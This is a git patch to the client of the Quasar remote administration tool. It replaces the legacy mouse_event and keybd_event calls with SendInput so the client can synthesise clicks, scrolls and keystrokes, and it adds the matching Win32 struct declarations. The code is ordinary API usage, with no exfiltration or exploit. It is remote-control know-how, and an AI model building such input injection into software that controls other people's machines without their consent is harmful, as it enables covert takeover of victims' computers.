From 7f55768842f960e5580f4745fdbe6647e212e1ef Mon Sep 17 00:00:00 2001 From: MaxXor Date: Sat, 30 May 2020 17:14:20 +0200 Subject: [PATCH] Update mouse and keyboard input to SendInput API #733 --- Quasar.Client/Helper/NativeMethodsHelper.cs | 85 +++++++++++++++++++- Quasar.Client/Utilities/NativeMethods.cs | 89 ++++++++++++++------- 2 files changed, 143 insertions(+), 31 deletions(-) diff --git a/Quasar.Client/Helper/NativeMethodsHelper.cs b/Quasar.Client/Helper/NativeMethodsHelper.cs index af10fdf5..1002244e 100644 --- a/Quasar.Client/Helper/NativeMethodsHelper.cs +++ b/Quasar.Client/Helper/NativeMethodsHelper.cs @@ -8,6 +8,9 @@ namespace Quasar.Client.Helper { public static class NativeMethodsHelper { + private const int INPUT_MOUSE = 0; + private const int INPUT_KEYBOARD = 1; + private const uint MOUSEEVENTF_LEFTDOWN = 0x0002; private const uint MOUSEEVENTF_LEFTUP = 0x0004; private const uint MOUSEEVENTF_RIGHTDOWN = 0x0008; @@ -27,12 +30,50 @@ public static uint GetLastInputInfoTickCount() public static void DoMouseLeftClick(Point p, bool isMouseDown) { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, p.X, p.Y, 0, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_LEFTDOWN : MOUSEEVENTF_LEFTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoMouseRightClick(Point p, bool isMouseDown) { - NativeMethods.mouse_event(isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, p.X, p.Y, 0, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = 0, + dwFlags = isMouseDown ? MOUSEEVENTF_RIGHTDOWN : MOUSEEVENTF_RIGHTUP, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoMouseMove(Point p) @@ -42,12 +83,48 @@ public static void DoMouseMove(Point p) public static void DoMouseScroll(Point p, bool scrollDown) { - NativeMethods.mouse_event(MOUSEEVENTF_WHEEL, p.X, p.Y, scrollDown ? -120 : 120, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_MOUSE, + u = new NativeMethods.InputUnion + { + mi = new NativeMethods.MOUSEINPUT + { + dx = p.X, + dy = p.Y, + mouseData = scrollDown ? -120 : 120, + dwFlags = MOUSEEVENTF_WHEEL, + time = 0, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } public static void DoKeyPress(byte key, bool keyDown) { - NativeMethods.keybd_event(key, 0, keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, UIntPtr.Zero); + NativeMethods.INPUT[] inputs = { + new NativeMethods.INPUT + { + type = INPUT_KEYBOARD, + u = new NativeMethods.InputUnion + { + ki = new NativeMethods.KEYBDINPUT + { + wVk = key, + wScan = 0, + dwFlags = keyDown ? KEYEVENTF_KEYDOWN : KEYEVENTF_KEYUP, + dwExtraInfo = NativeMethods.GetMessageExtraInfo() + } + } + } + }; + + NativeMethods.SendInput((uint)inputs.Length, inputs, Marshal.SizeOf(typeof(NativeMethods.INPUT))); } private const int SPI_GETSCREENSAVERRUNNING = 114; diff --git a/Quasar.Client/Utilities/NativeMethods.cs b/Quasar.Client/Utilities/NativeMethods.cs index 487ef1a3..3ae08c2f 100644 --- a/Quasar.Client/Utilities/NativeMethods.cs +++ b/Quasar.Client/Utilities/NativeMethods.cs @@ -6,7 +6,7 @@ namespace Quasar.Client.Utilities { /// - /// Provides access to Win32 API and Microsoft C Runtime Library (msvcrt.dll). + /// Provides access to the Win32 API. /// public static class NativeMethods { @@ -27,18 +27,6 @@ internal struct LASTINPUTINFO [DllImport("kernel32.dll", SetLastError = true)] internal static extern bool QueryFullProcessImageName([In] IntPtr hProcess, [In] uint dwFlags, [Out] StringBuilder lpExeName, [In, Out] ref uint lpdwSize); - [DllImport("user32.dll")] - internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); - - [DllImport("user32.dll")] - internal static extern bool SetCursorPos(int x, int y); - - [DllImport("user32.dll")] - internal static extern void mouse_event(uint dwFlags, int dx, int dy, int dwData, UIntPtr dwExtraInfo); - - [DllImport("user32.dll")] - internal static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo); - /// /// Performs a bit-block transfer of the color data corresponding to a /// rectangle of pixels from the specified source device context into @@ -67,28 +55,76 @@ internal struct LASTINPUTINFO [DllImport("gdi32.dll")] internal static extern bool DeleteDC([In] IntPtr hdc); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count); + [DllImport("user32.dll")] + internal static extern bool GetLastInputInfo(ref LASTINPUTINFO plii); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count); + [DllImport("user32.dll")] + internal static extern bool SetCursorPos(int x, int y); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern int memcpy(IntPtr dst, IntPtr src, uint count); + [DllImport("user32.dll", SetLastError = false)] + internal static extern IntPtr GetMessageExtraInfo(); - [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)] - internal static extern unsafe int memcpy(void* dst, void* src, uint count); + /// + /// Synthesizes keystrokes, mouse motions, and button clicks. + /// + [DllImport("user32.dll")] + internal static extern uint SendInput(uint nInputs, + [MarshalAs(UnmanagedType.LPArray), In] INPUT[] pInputs, + int cbSize); + + [StructLayout(LayoutKind.Sequential)] + internal struct INPUT + { + internal uint type; + internal InputUnion u; + internal static int Size => Marshal.SizeOf(typeof(INPUT)); + } + + [StructLayout(LayoutKind.Explicit)] + internal struct InputUnion + { + [FieldOffset(0)] + internal MOUSEINPUT mi; + [FieldOffset(0)] + internal KEYBDINPUT ki; + [FieldOffset(0)] + internal HARDWAREINPUT hi; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MOUSEINPUT + { + internal int dx; + internal int dy; + internal int mouseData; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct KEYBDINPUT + { + internal ushort wVk; + internal ushort wScan; + internal uint dwFlags; + internal uint time; + internal IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct HARDWAREINPUT + { + public uint uMsg; + public ushort wParamL; + public ushort wParamH; + } [DllImport("user32.dll")] internal static extern bool SystemParametersInfo( uint uAction, uint uParam, ref IntPtr lpvParam, uint flags); - [DllImport("user32.dll")] - internal static extern bool SystemParametersInfo( - uint uAction, uint uParam, ref bool lpvParam, - uint flags); - [DllImport("user32.dll")] internal static extern int PostMessage(IntPtr hWnd, int wMsg, IntPtr wParam, IntPtr lParam); @@ -135,7 +171,6 @@ internal struct MibTcprowOwnerPid public uint remoteAddr; [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)] public byte[] remotePort; public uint owningPid; - public IPAddress LocalAddress { get { return new IPAddress(localAddr); }